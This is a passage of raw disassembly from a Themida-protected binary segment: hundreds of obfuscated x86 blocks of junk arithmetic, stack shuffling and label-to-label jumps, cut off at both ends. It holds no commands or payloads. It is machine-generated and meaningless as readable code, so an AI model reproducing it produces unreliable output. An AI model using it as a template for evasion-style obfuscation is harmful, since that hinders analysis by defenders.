XREF: Themida_:00569777j add dh, ah push dword ptr [esp] pop eax add esp, 4 push ecx jmp loc_55E2C4 ; --------------------------------------------------------------------------- loc_56EA9E: ; CODE XREF: Themida_:00562C69j push edx push dword ptr [esp+4] jmp loc_56A292 ; --------------------------------------------------------------------------- loc_56EAA8: ; CODE XREF: Themida_:00561D93j shr ebx, 3 shr ebx, 2 push eax mov eax, 3C0415A5h or ebx, eax pop eax jmp loc_563867 ; --------------------------------------------------------------------------- loc_56EABC: ; CODE XREF: Themida_:0055F901j mov esi, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 add esp, 4 movzx eax, al push dword ptr [edi+eax*4] push ebx push 1176h mov [esp], ecx push ebp mov ebp, 45A07278h mov ecx, 7F84D2Ch xor ecx, ebp pop ebp push ebp mov ebp, 35A46323h shl ebp, 3 jmp loc_55F10E ; --------------------------------------------------------------------------- loc_56EB00: ; CODE XREF: Themida_:00561DF7j add dword ptr [esp], 50962875h push dword ptr [esp] pop edi push 785Ah jmp loc_5696EC ; --------------------------------------------------------------------------- loc_56EB15: ; CODE XREF: Themida_:005720C0j pop ebp push esi jmp loc_5698F3 ; --------------------------------------------------------------------------- loc_56EB1C: ; CODE XREF: Themida_:0055E1E6j mov esi, 65A356C0h push 0 sub dword ptr [esp], 59832987h sub [esp], esi add dword ptr [esp], 59832987h pop esi jmp loc_56F81E ; --------------------------------------------------------------------------- loc_56EB3D: ; CODE XREF: Themida_:005707DEj push dword ptr [esp] pop ebp push ebp jmp loc_564DD9 ; --------------------------------------------------------------------------- loc_56EB47: ; CODE XREF: Themida_:0055F335j sub esp, 4 mov [esp], ecx push 3F40h jmp loc_56BF53 ; --------------------------------------------------------------------------- loc_56EB5A: ; CODE XREF: Themida_:0056552Aj or ebp, 50197E9Eh jmp loc_56E45B ; --------------------------------------------------------------------------- loc_56EB65: ; CODE XREF: Themida_:0056C32Aj xor edi, 6E5B8A73h add ebx, 2B39717Eh sub ebx, edi sub ebx, 2B39717Eh pop edi jmp loc_56E689 ; --------------------------------------------------------------------------- loc_56EB7F: ; CODE XREF: Themida_:0055DDEDj pop eax xchg ebx, [esp] mov esp, [esp] jmp loc_56C801 ; --------------------------------------------------------------------------- loc_56EB8B: ; CODE XREF: Themida_:0056256Bj xor edi, 32621EA2h add edx, edi jmp loc_561B67 ; --------------------------------------------------------------------------- loc_56EB98: ; CODE XREF: Themida_:0055E408j add ebx, eax mov eax, [esp] jmp loc_5704AD ; --------------------------------------------------------------------------- loc_56EBA2: ; CODE XREF: Themida_:0056D408j shl edi, 3 jmp loc_570B08 ; --------------------------------------------------------------------------- loc_56EBAA: ; CODE XREF: Themida_:00571B65j push 1603h mov [esp], ecx mov ecx, esp jmp loc_566880 ; --------------------------------------------------------------------------- loc_56EBB9: ; CODE XREF: Themida_:0056B611j push ebx push 1A182199h mov ebx, [esp] add esp, 4 jmp loc_56421F ; --------------------------------------------------------------------------- loc_56EBCA: ; CODE XREF: Themida_:0055EB74j dec ebx sub ebx, 1 sub ebx, 0F0E99D89h jmp loc_56C00C ; --------------------------------------------------------------------------- loc_56EBD9: ; CODE XREF: Themida_:0055FDB9j mov [esp], edx mov edx, 7E2C5EA0h neg edx jmp loc_5702AC ; --------------------------------------------------------------------------- loc_56EBE8: ; CODE XREF: Themida_:0056C362j pop esp mov [esp], ebp mov ebp, 1 and ecx, ebp mov ebp, [esp] add esp, 4 shr ecx, 0 or eax, eax jz loc_568977 sub esp, 4 jmp loc_566C05 ; --------------------------------------------------------------------------- loc_56EC0C: ; CODE XREF: Themida_:00564FF4j push 3410h mov [esp], eax push edx mov edx, 4 mov eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push ecx mov ecx, 0CA933B9h jmp loc_563FA8 ; --------------------------------------------------------------------------- loc_56EC36: ; CODE XREF: Themida_:005614B0j push edi mov edi, 4FC32F87h xor edi, 72B70659h dec edi push edx mov edx, 307A14B9h xor edx, 0F2F1C29Eh add edi, edx pop edx jmp loc_56C32F ; --------------------------------------------------------------------------- loc_56EC57: ; CODE XREF: Themida_:00568125j pop esp jmp loc_5684CB ; --------------------------------------------------------------------------- loc_56EC5D: ; CODE XREF: Themida_:0056C7F6j pop ecx shr ebp, 4 push ebx jmp loc_568B95 ; --------------------------------------------------------------------------- loc_56EC67: ; CODE XREF: Themida_:005605CFj mov edx, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx jmp loc_563A61 ; --------------------------------------------------------------------------- loc_56EC78: ; CODE XREF: Themida_:00569311j shr ebp, 5 jmp loc_56A492 ; --------------------------------------------------------------------------- loc_56EC80: ; CODE XREF: Themida_:00561EC5j or eax, ecx pop ecx sub eax, 0BF65B7B9h push eax jmp loc_56C3CB ; --------------------------------------------------------------------------- loc_56EC8E: ; CODE XREF: Themida_:0057084Aj sub ecx, 34830581h add ecx, edi push edi mov edi, 34830581h add ecx, edi jmp loc_564C10 ; --------------------------------------------------------------------------- loc_56ECA3: ; CODE XREF: Themida_:0055F780j pop esp mov [esp], ecx mov ecx, 683151BEh add ecx, 97CEAE46h add dword ptr [esp+4], 7AF53098h jmp loc_566294 ; --------------------------------------------------------------------------- loc_56ECBF: ; CODE XREF: Themida_:0056FF87j sub edi, 0A7573194h mov eax, edi jmp loc_55F9BA ; --------------------------------------------------------------------------- loc_56ECCC: ; CODE XREF: Themida_:0056F1E7j add ebx, 0A68BC21Eh mov ecx, ebx pop ebx add esi, ecx mov ecx, [esp] add esp, 4 sub esi, ebx sub esi, 772652B0h add esi, 3E1B608Dh sub esi, 7A7B32A0h mov ebx, [esp] sub esp, 4 jmp loc_5708B9 ; --------------------------------------------------------------------------- loc_56ED02: ; CODE XREF: Themida_:0055E64Fj push ecx mov ch, dl jmp loc_56C94D ; --------------------------------------------------------------------------- loc_56ED0A: ; CODE XREF: Themida_:0056AA4Cj pop ebx push esi mov esi, edi mov ebp, esi pop esi mov edi, [esp] add esp, 4 add eax, ebp pop ebp push dword ptr [esp] pop ebp jmp loc_55DA58 ; --------------------------------------------------------------------------- loc_56ED23: ; CODE XREF: Themida_:0056D7A7j mov ecx, eax pop eax sub eax, 42C14BDAh push edx jmp loc_5681DE ; --------------------------------------------------------------------------- loc_56ED31: ; CODE XREF: Themida_:00560F2Cj push edi mov edi, 2D7A69CDh push edx mov edx, 5C287F34h xor edi, edx jmp loc_566DF3 ; --------------------------------------------------------------------------- loc_56ED44: ; CODE XREF: Themida_:00566A64j mov ebx, [esp] add esp, 4 sub ebp, 75E04B61h push esi mov esi, 0AC49127Fh xor ebp, esi pop esi add esi, ebp jmp loc_55E309 ; --------------------------------------------------------------------------- loc_56ED60: ; CODE XREF: Themida_:0056FDAAj add edx, 919EBC98h sub ebp, edx jmp loc_56D7D7 ; --------------------------------------------------------------------------- loc_56ED6D: ; CODE XREF: Themida_:0056615Fj add ah, 30h push eax jmp loc_565E28 ; --------------------------------------------------------------------------- loc_56ED76: ; CODE XREF: Themida_:00568C5Dj add ebp, edi pop edi xchg esi, ebp jmp loc_57142D ; --------------------------------------------------------------------------- loc_56ED80: ; CODE XREF: Themida_:005623AFj push ebp mov ebp, 162120Ch add ecx, 2CBF557Bh add ecx, ebp sub ecx, 2CBF557Bh mov ebp, [esp] add esp, 4 push esi push ecx push 4D326E63h mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_568278 ; --------------------------------------------------------------------------- loc_56EDBC: ; CODE XREF: Themida_:00570D46j pop dword ptr [esp] pop esp add esp, 4 xor al, bh pop ebx add bl, 12h sub esp, 4 mov [esp], ebx jmp loc_55F33A ; --------------------------------------------------------------------------- loc_56EDDA: ; CODE XREF: Themida_:0055FE87j push ecx push ebx jmp loc_5682A9 ; --------------------------------------------------------------------------- loc_56EDE1: ; CODE XREF: Themida_:0056B7D7j mov ah, bh pop ebx pop edx push ecx mov ch, ah mov bl, ch pop ecx jmp loc_55F36F ; --------------------------------------------------------------------------- loc_56EDF0: ; CODE XREF: Themida_:005710D8j add ah, 87h sub dh, ah pop eax push ecx sub esp, 4 mov [esp], eax mov ah, 0 and ah, 1Bh jmp loc_5695CA ; --------------------------------------------------------------------------- lodsb xor al, bl push 203Ah mov [esp], ecx jmp loc_55DCEC ; --------------------------------------------------------------------------- loc_56EE1A: ; CODE XREF: Themida_:0056624Bj add esp, 4 add ebp, 4 jmp loc_55E1C4 ; --------------------------------------------------------------------------- loc_56EE28: ; CODE XREF: Themida_:0056BEAFj pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_5646ED ; --------------------------------------------------------------------------- loc_56EE43: ; CODE XREF: Themida_:005714E1j pop esi add edi, 118F6AC3h add edi, ebp sub edi, 118F6AC3h jmp loc_564C3A ; --------------------------------------------------------------------------- loc_56EE57: ; CODE XREF: Themida_:0055DE8Ej mov esp, [esp] mov [esp], ebx mov bh, al push edx push eax mov ah, bh mov dl, ah pop eax mov [edi+28h], dl pop edx jmp loc_568B38 ; --------------------------------------------------------------------------- loc_56EE6F: ; CODE XREF: Themida_:00563EA7j sub esp, 4 mov [esp], esi push edi mov edi, 4B283DA9h shl edi, 3 inc edi xchg ecx, edi not ecx xchg ecx, edi sub edi, 65FCDDC4h mov esi, edi pop edi add esi, 736A66F5h push ebp mov ebp, 72E630ADh xor ebp, 3506547Fh jmp loc_56EA78 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56EEAD: ; CODE XREF: Themida_:0056128Bj mov ebx, eax jmp loc_56E46C ; --------------------------------------------------------------------------- loc_56EEB4: ; CODE XREF: Themida_:0056B50Fj xor bl, dl pop dx add al, bl pop bx jmp loc_56AF90 ; --------------------------------------------------------------------------- loc_56EEC1: ; CODE XREF: Themida_:00560E88j mov eax, [esp] add esp, 4 push ebx push 159D045Dh pop ebx push 573Ch mov [esp], ecx mov ecx, 1EF67BE9h jmp loc_5725DA ; --------------------------------------------------------------------------- loc_56EEE3: ; CODE XREF: Themida_:00561EA5j pop ebx xor eax, [esp] xor [esp], eax jmp loc_56FD4E ; --------------------------------------------------------------------------- loc_56EEEF: ; CODE XREF: Themida_:0056628Fj inc edi jmp loc_56B43D ; --------------------------------------------------------------------------- loc_56EEF5: ; CODE XREF: Themida_:0055EECBj pop esi push 7819h jmp loc_56ACCE ; --------------------------------------------------------------------------- loc_56EF00: ; CODE XREF: Themida_:00571150j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56A355 ; --------------------------------------------------------------------------- loc_56EF13: ; CODE XREF: Themida_:0056FEE2j mov eax, 4 push 3233h jmp loc_564846 ; --------------------------------------------------------------------------- loc_56EF22: ; CODE XREF: Themida_:0055F16Dj add dl, 1Dh add dl, al jmp loc_56A2EB ; --------------------------------------------------------------------------- loc_56EF2C: ; CODE XREF: Themida_:0056FC26j add eax, 0B705485h push edx mov edx, 88E242Bh sub edx, 1 shl edx, 4 jmp loc_56D0E1 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx jmp loc_56D73C ; --------------------------------------------------------------------------- loc_56EF4F: ; CODE XREF: Themida_:0056520Bj sub al, 61h jmp loc_561042 ; --------------------------------------------------------------------------- loc_56EF56: ; CODE XREF: Themida_:00568D1Dj pop ebp push eax mov eax, 51D26770h shl eax, 8 neg eax shl eax, 5 and eax, 59873F72h jmp loc_56C687 ; --------------------------------------------------------------------------- loc_56EF6F: ; CODE XREF: Themida_:0055D90Fj pop esp mov [esp], edi push esp pop edi push 6FB0h mov [esp], eax mov eax, 4 add edi, 306E31C1h push eax mov eax, 30EA16A0h sub edi, 126F12C2h add edi, 31A930B9h sub edi, eax sub edi, 31A930B9h add edi, 126F12C2h pop eax add edi, 7FE10E9Ch jmp loc_56C29C ; --------------------------------------------------------------------------- loc_56EFB4: ; CODE XREF: Themida_:0056BE90j xor eax, 5B2257B5h push eax mov eax, 6BEC5BABh sub ebx, eax mov eax, [esp] add esp, 4 add ebx, eax jmp loc_5618AB ; --------------------------------------------------------------------------- loc_56EFD1: ; CODE XREF: Themida_:0055EB5Bj add ecx, 4 xchg ecx, [esp] jmp loc_564D19 ; --------------------------------------------------------------------------- loc_56EFDF: ; CODE XREF: Themida_:0056D029j xchg ebp, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] bswap eax push 797Fh mov [esp], eax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56EFFE: ; CODE XREF: Themida_:005665B9j push ebp mov ebp, 3C175AF2h sub ebp, 3C175AEEh add ecx, ebp pop ebp jmp loc_56C7B5 ; --------------------------------------------------------------------------- loc_56F012: ; CODE XREF: Themida_:0056578Cj sub edx, 60FC24E9h sub edx, ebp add edx, 60FC24E9h jmp loc_566C39 ; --------------------------------------------------------------------------- loc_56F025: ; CODE XREF: Themida_:00562A85j mov ebx, 2 push 682Dh mov [esp], eax push 1F224647h pop eax shr eax, 4 inc eax push edi mov edi, 2E026982h shr edi, 7 jmp loc_568632 ; --------------------------------------------------------------------------- loc_56F04A: ; CODE XREF: Themida_:00561CC8j pop edi add ebx, edx pop edx xchg ebx, [esp] pop esp sub eax, 2 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_560E37 ; --------------------------------------------------------------------------- loc_56F063: ; CODE XREF: Themida_:005620BCj sub edi, 0B8C37EE3h sub eax, edi pop edi push dword ptr [esp] pop ebp add esp, 4 sub eax, ebx push esi push edx mov edx, 399D0FB8h mov esi, 5C0B2317h jmp loc_566266 ; --------------------------------------------------------------------------- loc_56F086: ; CODE XREF: Themida_:00567A36j or esi, 0AEC7DB3h sub esi, 0FFFFFFFFh add esi, 8F45BD04h jmp loc_5689E0 ; --------------------------------------------------------------------------- loc_56F09A: ; CODE XREF: Themida_:00564FE6j neg ebx xor ebx, 20CB376Fh jmp loc_566BFF ; --------------------------------------------------------------------------- loc_56F0A7: ; CODE XREF: Themida_:0055F3CCj sub ebx, 6D140363h add ebx, esi add ebx, 6D140363h jmp loc_56B568 ; --------------------------------------------------------------------------- loc_56F0BA: ; CODE XREF: Themida_:005677C9j pop esp jmp loc_569E0B ; --------------------------------------------------------------------------- loc_56F0C0: ; CODE XREF: Themida_:0056DA33j xor [esp], ebx jmp loc_55DEB1 ; --------------------------------------------------------------------------- loc_56F0C8: ; CODE XREF: Themida_:0056D1D9j push ecx mov ecx, 2 add eax, ecx jmp loc_56A258 ; --------------------------------------------------------------------------- loc_56F0D5: ; CODE XREF: Themida_:00562131j sub ch, 0FFh add ch, 0E9h or ah, ch jmp loc_56D3AA ; --------------------------------------------------------------------------- loc_56F0E2: ; CODE XREF: Themida_:0055DF0Ej push esp pop ebp jmp loc_570250 ; --------------------------------------------------------------------------- loc_56F0E9: ; CODE XREF: Themida_:00563BEAj mov eax, 24A726Fh jmp loc_55DC09 ; --------------------------------------------------------------------------- loc_56F0F3: ; CODE XREF: Themida_:0055E05Aj mov esi, [esp] add esp, 4 add esp, 4 push 2E43h mov [esp], ebx mov ebx, 4 push edi mov edi, 3B45058Eh sub esi, edi pop edi add esi, ebx jmp loc_5724CC ; --------------------------------------------------------------------------- loc_56F11C: ; CODE XREF: Themida_:0055FF31j xor eax, 975452Eh sub eax, 0C37262Ah add ecx, eax pop eax jmp loc_566D95 ; --------------------------------------------------------------------------- loc_56F12E: ; CODE XREF: Themida_:00560CDEj push eax push esi mov eax, [esp] jmp loc_569747 ; --------------------------------------------------------------------------- loc_56F138: ; CODE XREF: Themida_:00564212j push ebx push edi push 44266F07h mov edi, [esp] add esp, 4 shl edi, 8 add edi, 39257766h and edi, 216B6F32h add edi, 706CB208h mov ebx, edi jmp loc_56306E ; --------------------------------------------------------------------------- loc_56F164: ; CODE XREF: Themida_:00570D93j mov ecx, [esp] add esp, 4 add ah, 48h add bl, ah pop eax push ecx mov cl, 0BBh sub cl, 0C4h add bl, cl pop ecx sub bl, 94h jmp loc_567ACC ; --------------------------------------------------------------------------- loc_56F184: ; CODE XREF: Themida_:00569BF9j sub dword ptr [esp+4], 18BC338Ch add [esp+4], edx add dword ptr [esp+4], 18BC338Ch pop edx push dword ptr [esp] pop eax jmp loc_56070C ; --------------------------------------------------------------------------- loc_56F1A2: ; CODE XREF: Themida_:00571945j mov esi, ebp pop ebp add ecx, 6008778Dh add ecx, esi sub ecx, 6008778Dh pop esi xchg ecx, [esp] jmp loc_56148A ; --------------------------------------------------------------------------- loc_56F1BC: ; CODE XREF: Themida_:0056988Bj push edi push 7EFD2BCBh pop edi jmp loc_57164A ; --------------------------------------------------------------------------- loc_56F1C8: ; CODE XREF: Themida_:00561E35j mov edi, esp add edi, 4 jmp loc_56A6D8 ; --------------------------------------------------------------------------- loc_56F1D5: ; CODE XREF: Themida_:005646CDj push ebx push 2F656F6Fh pop ebx neg ebx push edi mov edi, 1 add ebx, edi pop edi jmp loc_56ECCC ; --------------------------------------------------------------------------- loc_56F1EC: ; CODE XREF: Themida_:0056A91Bj push esp pop edx jmp loc_5644B0 ; --------------------------------------------------------------------------- loc_56F1F3: ; CODE XREF: Themida_:0055E3C1j mov edi, [esp] add esp, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_567900 ; --------------------------------------------------------------------------- loc_56F20A: ; CODE XREF: Themida_:005671E7j inc esi and esi, 18C869ECh xor esi, 73F46A92h add esi, 94C3FC92h add ebx, esi pop esi sub ebx, 4 jmp loc_56D9C3 ; --------------------------------------------------------------------------- loc_56F22B: ; CODE XREF: Themida_:005643C4j add esp, 4 push edx push 179Ah mov [esp], eax mov al, 0F0h push 4860h mov [esp], eax mov al, 73h jmp loc_568FA3 ; --------------------------------------------------------------------------- loc_56F248: ; CODE XREF: Themida_:005611DCj pop esp jmp loc_55E58F ; --------------------------------------------------------------------------- loc_56F24E: ; CODE XREF: Themida_:00562E4Dj pop ebx xchg ebp, [esp] mov esp, [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_56838B ; --------------------------------------------------------------------------- loc_56F260: ; CODE XREF: Themida_:005700DDj add dword ptr [esp], 4 pop dword ptr [esp] push edi push esi jmp loc_56FA67 ; --------------------------------------------------------------------------- loc_56F26E: ; CODE XREF: Themida_:0056A64Bj add esp, 4 push dword ptr [eax] jmp loc_561B84 ; --------------------------------------------------------------------------- loc_56F278: ; CODE XREF: Themida_:0056BA88j mov edi, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push ebx mov ebx, 4 jmp loc_56969C ; --------------------------------------------------------------------------- loc_56F294: ; CODE XREF: Themida_:0056B984j mov cl, dl pop edx mov eax, [esp] add esp, 4 jmp loc_568D6C ; --------------------------------------------------------------------------- loc_56F2A5: ; CODE XREF: Themida_:00564F48j dec edi shl edi, 3 add edi, 15B2665h and edi, 76EF30C4h xor edi, 3EE764E6h xor edi, 28827466h mov eax, edi pop edi jmp loc_5653D4 ; --------------------------------------------------------------------------- loc_56F2C9: ; CODE XREF: Themida_:00571222j pop edx sub ecx, 0B8137D0h push ecx dec dword ptr [esp] mov ecx, [esp] add esp, 4 or ecx, 4E073A8h sub ecx, 5DEA77A4h jmp loc_561D98 ; --------------------------------------------------------------------------- loc_56F2EE: ; CODE XREF: Themida_:00568F58j add esp, 4 add edx, 4 sub esp, 4 jmp loc_561B5E ; --------------------------------------------------------------------------- loc_56F2FF: ; CODE XREF: Themida_:0056660Aj push esp pop ebp add ebp, 4 push edx mov edx, 64DD2BF5h jmp loc_56D707 ; --------------------------------------------------------------------------- loc_56F312: ; CODE XREF: Themida_:00571E47j add esp, 4 add [esp+4], ebp pop ebp jmp loc_56320C ; --------------------------------------------------------------------------- loc_56F322: ; CODE XREF: Themida_:005718F6j shr eax, 12h xor eax, ecx jmp loc_56729D ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp push 36BFh mov [esp], esi jmp loc_565F24 ; --------------------------------------------------------------------------- loc_56F345: ; CODE XREF: Themida_:0055E807j mov ebx, 43C335E5h jmp loc_568CE9 ; --------------------------------------------------------------------------- loc_56F34F: ; CODE XREF: Themida_:0056D771j add ebx, 76771A2Dh pop esi add ebx, 6CBA0BC8h pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or edx, eax shl edx, 1 sub esp, 4 mov [esp], ebx mov ebx, 66DC6578h xor ebx, 66DC655Ch jmp loc_5704A1 ; --------------------------------------------------------------------------- loc_56F38F: ; CODE XREF: Themida_:005715E5j push esi mov esi, 0B390AEAh push ecx jmp loc_56D140 ; --------------------------------------------------------------------------- loc_56F39B: ; CODE XREF: Themida_:00560BE6j sub ebp, 1036D630h jmp loc_56A500 ; --------------------------------------------------------------------------- loc_56F3A6: ; CODE XREF: Themida_:005682C6j mov eax, 3324413Dh not eax jmp loc_569E80 ; --------------------------------------------------------------------------- loc_56F3B2: ; CODE XREF: Themida_:0056B6FAj pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56F3C3: ; CODE XREF: Themida_:0057156Aj xor edi, ecx jmp loc_55F5ED ; --------------------------------------------------------------------------- loc_56F3CA: ; CODE XREF: Themida_:005619C0j push edi mov edi, esp jmp loc_568594 ; --------------------------------------------------------------------------- loc_56F3D2: ; CODE XREF: Themida_:0056D11Ej pop ecx jmp loc_5688FE ; --------------------------------------------------------------------------- loc_56F3D8: ; CODE XREF: Themida_:00570263j mov [esp], ax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56F3E1: ; CODE XREF: Themida_:005678FBj add eax, ebp pop ebp add eax, esi sub eax, 2F864E25h push esi jmp loc_571337 ; --------------------------------------------------------------------------- loc_56F3F1: ; CODE XREF: Themida_:00571BC8j mov [esp], edx mov edx, 2A397205h mov esi, 0C5868BA5h add esi, edx pop edx jmp loc_568B78 ; --------------------------------------------------------------------------- loc_56F406: ; CODE XREF: Themida_:0055F6AFj add ebx, ecx jmp loc_55DD93 ; --------------------------------------------------------------------------- loc_56F40D: ; CODE XREF: Themida_:00562CA6j push edx jmp loc_5724AE ; --------------------------------------------------------------------------- loc_56F413: ; CODE XREF: Themida_:0056C516j add dword ptr [esp], 11A06FAFh pop dword ptr [ebx] push ecx mov ecx, 11A06FAFh sub [ebx], ecx pop ecx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_56E277 ; --------------------------------------------------------------------------- loc_56F43D: ; CODE XREF: Themida_:00566F73j pop edx mov ebx, [esp] jmp loc_56B514 ; --------------------------------------------------------------------------- loc_56F446: ; CODE XREF: Themida_:0055ECB9j sub dword ptr [esp+4], 33145831h add [esp+4], edi push edx mov edx, 33145831h add dword ptr [esp+8], 21DC5114h jmp loc_566B8A ; --------------------------------------------------------------------------- loc_56F465: ; CODE XREF: Themida_:00562112j xchg edi, [esp] mov esp, [esp] jmp loc_55FFD5 ; --------------------------------------------------------------------------- loc_56F470: ; CODE XREF: Themida_:0056AA8Cj pop edx push edi push esp pop edi jmp loc_565A6D ; --------------------------------------------------------------------------- loc_56F479: ; CODE XREF: Themida_:005707F1j add ecx, 246958BEh jmp loc_569A60 ; --------------------------------------------------------------------------- loc_56F484: ; CODE XREF: Themida_:005693ECj mov eax, [esp] add esp, 4 push ebx jmp loc_5654AE ; --------------------------------------------------------------------------- loc_56F490: ; CODE XREF: Themida_:0056BAA7j pop edx push 622Fh mov [esp], edi mov edi, 4 sub esp, 4 mov [esp], ecx jmp loc_56B845 ; --------------------------------------------------------------------------- loc_56F4AC: ; CODE XREF: Themida_:0055F843j neg ebx not ebx shl ebx, 2 sub ebx, 0FFFFFFFFh add ebx, 6D817005h mov ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_564B05 ; --------------------------------------------------------------------------- loc_56F4CC: ; CODE XREF: Themida_:0056B1FFj push dword ptr [esp] mov eax, [esp] jmp loc_56A18D ; --------------------------------------------------------------------------- loc_56F4D7: ; CODE XREF: Themida_:00571404j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] jmp loc_5680D7 ; --------------------------------------------------------------------------- lodsb jmp loc_56E1C9 ; --------------------------------------------------------------------------- loc_56F4F8: ; CODE XREF: Themida_:0056C4FDj add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_564A27 ; --------------------------------------------------------------------------- loc_56F509: ; CODE XREF: Themida_:00568C94j pop ecx push 1CFCh jmp loc_57168B ; --------------------------------------------------------------------------- loc_56F514: ; CODE XREF: Themida_:00570FADj push small 2486h mov [esp], dx jmp loc_56FA5F ; --------------------------------------------------------------------------- loc_56F521: ; CODE XREF: Themida_:0056438Cj sub esp, 4 mov [esp], edi jmp loc_55DDF8 ; --------------------------------------------------------------------------- loc_56F52F: ; CODE XREF: Themida_:00563C1Cj pop ecx add ebx, edx pop edx add ebx, 0CD60A90h jmp loc_562F2F ; --------------------------------------------------------------------------- loc_56F53E: ; CODE XREF: Themida_:00571BBAj mov eax, [esp] add esp, 4 jmp loc_563377 ; --------------------------------------------------------------------------- loc_56F54C: ; CODE XREF: Themida_:0056B3C5j mov [esp], edi jmp loc_5691A0 ; --------------------------------------------------------------------------- loc_56F554: ; CODE XREF: Themida_:00561ED7j add esp, 4 push edx push esi jmp loc_565082 ; --------------------------------------------------------------------------- loc_56F55E: ; CODE XREF: Themida_:0055DD7Aj and esi, ecx push dword ptr [esp] pop ecx add esp, 4 push ebp jmp loc_56A1B4 ; --------------------------------------------------------------------------- loc_56F570: ; CODE XREF: Themida_:0056ABBEj xor ebx, ecx jmp loc_5640D1 ; --------------------------------------------------------------------------- loc_56F577: ; CODE XREF: Themida_:005655ABj add dword ptr [esp], 4 jmp loc_56AD92 ; --------------------------------------------------------------------------- loc_56F580: ; CODE XREF: Themida_:005624F1j push dword ptr [esp] pop ecx push 1A7Fh mov [esp], ecx push 1371h push esp pop dword ptr [esp] push ebx mov ebx, 4 add [esp+4], ebx pop ebx pop ecx push esi mov esi, 12793F0Eh dec esi jmp loc_55EBEE ; --------------------------------------------------------------------------- loc_56F5AD: ; CODE XREF: Themida_:00572049j or eax, 33E94039h or eax, 52D4D10h add eax, 1BDB9CF6h sub ebx, eax pop eax jmp loc_567084 ; --------------------------------------------------------------------------- loc_56F5C4: ; CODE XREF: Themida_:0056157Aj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg eax, [esp] jmp loc_563718 ; --------------------------------------------------------------------------- loc_56F5DF: ; CODE XREF: Themida_:00571879j sub esp, 4 mov [esp], ebp mov ebp, 63029BDh mov edi, ebp pop ebp sub edi, 443D1D05h dec edi neg edi jmp loc_562BF4 ; --------------------------------------------------------------------------- loc_56F5FE: ; CODE XREF: Themida_:00567408j pop esi xor ecx, 1B47236Eh sub esi, ecx pop ecx sub ecx, 29F23533h add ecx, 67DC2410h add ecx, esi jmp loc_571B4D ; --------------------------------------------------------------------------- loc_56F61B: ; CODE XREF: Themida_:00566ED4j pop ecx sub ebx, ecx sub ebx, 40EC170Eh mov ecx, [esp] jmp loc_56CD78 ; --------------------------------------------------------------------------- loc_56F62C: ; CODE XREF: Themida_:00564BC8j add esp, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_570ADE ; --------------------------------------------------------------------------- loc_56F63A: ; CODE XREF: Themida_:0056FAE0j pop edx jmp loc_564668 ; --------------------------------------------------------------------------- loc_56F640: ; CODE XREF: Themida_:005629E5j and dl, 0FEh push ebp mov ebp, esp add ebp, 4 sub ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_56D53B ; --------------------------------------------------------------------------- loc_56F667: ; CODE XREF: Themida_:0055FC4Fj push edx mov dl, 2 shr dl, 7 neg dl xor dl, 2Ch dec dl jmp loc_5697BD ; --------------------------------------------------------------------------- loc_56F679: ; CODE XREF: Themida_:0056B42Fj pop esi pop dword ptr [esp] pop esp and ebx, 420D0A4Fh inc ebx shl ebx, 4 jmp loc_56A33F ; --------------------------------------------------------------------------- loc_56F68D: ; CODE XREF: Themida_:0055E2C8j pop ecx push eax push edx jmp loc_56B817 ; --------------------------------------------------------------------------- loc_56F695: ; CODE XREF: Themida_:005634F1j add ecx, edx mov edx, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56F6AF: ; CODE XREF: Themida_:005684A7j push eax mov eax, 4 add edx, eax pop eax xor edx, [esp] xor [esp], edx jmp loc_565F1C ; --------------------------------------------------------------------------- loc_56F6C3: ; CODE XREF: Themida_:00568932j neg eax xor eax, 0B0CBEEDDh sub eax, 7BE643E3h xor eax, 1AD55830h jmp loc_5662F0 ; --------------------------------------------------------------------------- loc_56F6D9: ; CODE XREF: Themida_:0056C605j add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_55FEAF ; --------------------------------------------------------------------------- loc_56F6F4: ; CODE XREF: Themida_:00561D30j add eax, ecx pop ecx push ebx mov ebx, 4 add eax, ebx jmp loc_564759 ; --------------------------------------------------------------------------- loc_56F704: ; CODE XREF: Themida_:00567247j add esi, ebx mov ebx, [esp] add esp, 4 add esi, 4 jmp loc_568122 ; --------------------------------------------------------------------------- loc_56F717: ; CODE XREF: Themida_:00569171j push esp pop esi push 76Ch mov [esp], ecx mov ecx, 4 add esi, ecx jmp loc_56B1B5 ; --------------------------------------------------------------------------- loc_56F72D: ; CODE XREF: Themida_:0056A966j push eax jmp loc_56BACF ; --------------------------------------------------------------------------- loc_56F733: ; CODE XREF: Themida_:0056B504j not edi xchg edi, ecx xor [esp], ecx 